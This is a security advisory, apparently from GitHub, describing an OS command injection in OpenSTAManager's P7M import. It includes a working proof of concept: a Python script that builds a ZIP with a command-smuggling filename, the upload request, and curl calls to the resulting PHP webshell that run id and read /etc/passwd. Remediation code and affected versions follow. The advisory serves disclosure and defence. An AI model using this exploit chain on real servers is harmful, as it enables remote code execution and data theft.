OpenSTAManager has an OS Command Injection in P7M File Processing
The advisory, in context
Summary
A critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.
Vulnerable Code
File: src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$content = file_get_contents($file);
$output_file = $directory.'/'.basename($file, '.p7m');
try {
if (function_exists('exec')) {
// VULNERABLE - No input sanitization!
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
The Problem:
- The
$fileparameter is passed directly intoexec()without sanitization - Although wrapped in double quotes, an attacker can escape them
- The filename comes from uploaded ZIP archives (user-controlled)
Attack Vector
Entry Points:
-
plugins/importFE_ZIP/actions.php:126 (when automatic import is enabled)
foreach ($files_xml as $xml) { if (string_ends_with($xml, '.p7m')) { $file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP! -
plugins/importFE/src/FatturaElettronica.php:56 (constructor)
if (string_ends_with($name, '.p7m')) { $file = XML::decodeP7M($this->file); // $name from user input!
Attack Flow:
- Attacker creates ZIP with malicious filename
- Upload ZIP via importFE_ZIP plugin
- Application extracts ZIP and iterates files
- For
.p7mfiles,decodeP7M()is called - Malicious filename is injected into
exec()command - Arbitrary command executes as web server user
Proof of Concept
⚠️ IMPORTANT NOTE: PHP's ZipArchive::extractTo() splits filenames on / character. Payload must NOT contain / in commands. Use cd directory && command instead of absolute paths.
Step 1: Create Malicious ZIP
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
Step 2: Upload ZIP
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip
[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"
save
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"
14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"
48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
<img width="2539" height="809" alt="image" src="https://github.com/user-attachments/assets/f39cf6ad-9e8d-41de-866e-e01ec2064fd1" />
<img width="1543" height="659" alt="image" src="https://github.com/user-attachments/assets/41fbd038-0bce-4b1c-bdc3-8ddcf3bf13be" />
Step 3: Exploitation Result
Response (500 error is expected - XML parsing fails AFTER command execution):
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}
Verification - Webshell Created:
<img width="1111" height="239" alt="image" src="https://github.com/user-attachments/assets/d2e36cf3-c438-4509-be46-36d5c6f3e0d1" />
Step 4: Remote Code Execution
Webshell is publicly accessible without authentication:
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
<img width="698" height="475" alt="image" src="https://github.com/user-attachments/assets/7ee4630b-95a8-450c-bdce-d6f703c8168d" />
Impact
- Remote Code Execution: Full server compromise
- Data Exfiltration: Access to all application data and database
- Privilege Escalation: Potential escalation if web server runs with elevated privileges
- Persistence: Install backdoors and maintain access
- Lateral Movement: Pivot to other systems on the network
Prerequisites
- Authenticated user with access to invoice import functionality
Remediation
Input Sanitization
public static function decodeP7M($file)
{
// Validate that file path doesn't contain shell metacharacters
if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) {
throw new \Exception('Invalid file path');
}
// Better: use escapeshellarg()
$safe_file = escapeshellarg($file);
$safe_output = escapeshellarg($output_file);
exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}
or
Validate Filename Before Processing
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
// Only allow alphanumeric, dots, dashes, underscores
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue; // Skip invalid filenames
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
Credit
Discovered by: Łukasz Rybak
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
Earlier releases through 2.9.8 (inclusive)
No fix recorded for this interval.
87 explicitly affected versions
2.3.0, v2.4, v2.4.1, v2.4.10, v2.4.11, v2.4.12, v2.4.13, v2.4.14, v2.4.15, v2.4.16, v2.4.17, v2.4.17.1, v2.4.18, v2.4.19, v2.4.2, v2.4.20, v2.4.21, v2.4.22, v2.4.23, v2.4.24, v2.4.25, v2.4.26, v2.4.27, v2.4.28, v2.4.29, v2.4.3, v2.4.30, v2.4.31, v2.4.32, v2.4.33, v2.4.34, v2.4.35, v2.4.36, v2.4.37, v2.4.38, v2.4.39, v2.4.4, v2.4.40, v2.4.41, v2.4.42, v2.4.43, v2.4.44, v2.4.45, v2.4.46, v2.4.47, v2.4.48, v2.4.49, v2.4.5, v2.4.50, v2.4.51, v2.4.52, v2.4.53, v2.4.54, v2.4.6, v2.4.7, v2.4.8, v2.4.9, v2.5, v2.5.1-beta, v2.5.2-beta, v2.5.3, v2.5.4, v2.5.5, v2.5.6, v2.5.7, v2.6-beta, v2.6.1, v2.6.2, v2.7, v2.7-beta, v2.7.1, v2.7.2, v2.7.3, v2.8-beta, v2.8.1, v2.8.2, v2.8.3, v2.9, v2.9-beta, v2.9.1, v2.9.2, v2.9.3, v2.9.4, v2.9.5, v2.9.6, v2.9.7, v2.9.8
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.9.8"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.3.0",
"v2.4",
"v2.4.1",
"v2.4.10",
"v2.4.11",
"v2.4.12",
"v2.4.13",
"v2.4.14",
"v2.4.15",
"v2.4.16",
"v2.4.17",
"v2.4.17.1",
"v2.4.18",
"v2.4.19",
"v2.4.2",
"v2.4.20",
"v2.4.21",
"v2.4.22",
"v2.4.23",
"v2.4.24",
"v2.4.25",
"v2.4.26",
"v2.4.27",
"v2.4.28",
"v2.4.29",
"v2.4.3",
"v2.4.30",
"v2.4.31",
"v2.4.32",
"v2.4.33",
"v2.4.34",
"v2.4.35",
"v2.4.36",
"v2.4.37",
"v2.4.38",
"v2.4.39",
"v2.4.4",
"v2.4.40",
"v2.4.41",
"v2.4.42",
"v2.4.43",
"v2.4.44",
"v2.4.45",
"v2.4.46",
"v2.4.47",
"v2.4.48",
"v2.4.49",
"v2.4.5",
"v2.4.50",
"v2.4.51",
"v2.4.52",
"v2.4.53",
"v2.4.54",
"v2.4.6",
"v2.4.7",
"v2.4.8",
"v2.4.9",
"v2.5",
"v2.5.1-beta",
"v2.5.2-beta",
"v2.5.3",
"v2.5.4",
"v2.5.5",
"v2.5.6",
"v2.5.7",
"v2.6-beta",
"v2.6.1",
"v2.6.2",
"v2.7",
"v2.7-beta",
"v2.7.1",
"v2.7.2",
"v2.7.3",
"v2.8-beta",
"v2.8.1",
"v2.8.2",
"v2.8.3",
"v2.9",
"v2.9-beta",
"v2.9.1",
"v2.9.2",
"v2.9.3",
"v2.9.4",
"v2.9.5",
"v2.9.6",
"v2.9.7",
"v2.9.8"
]
}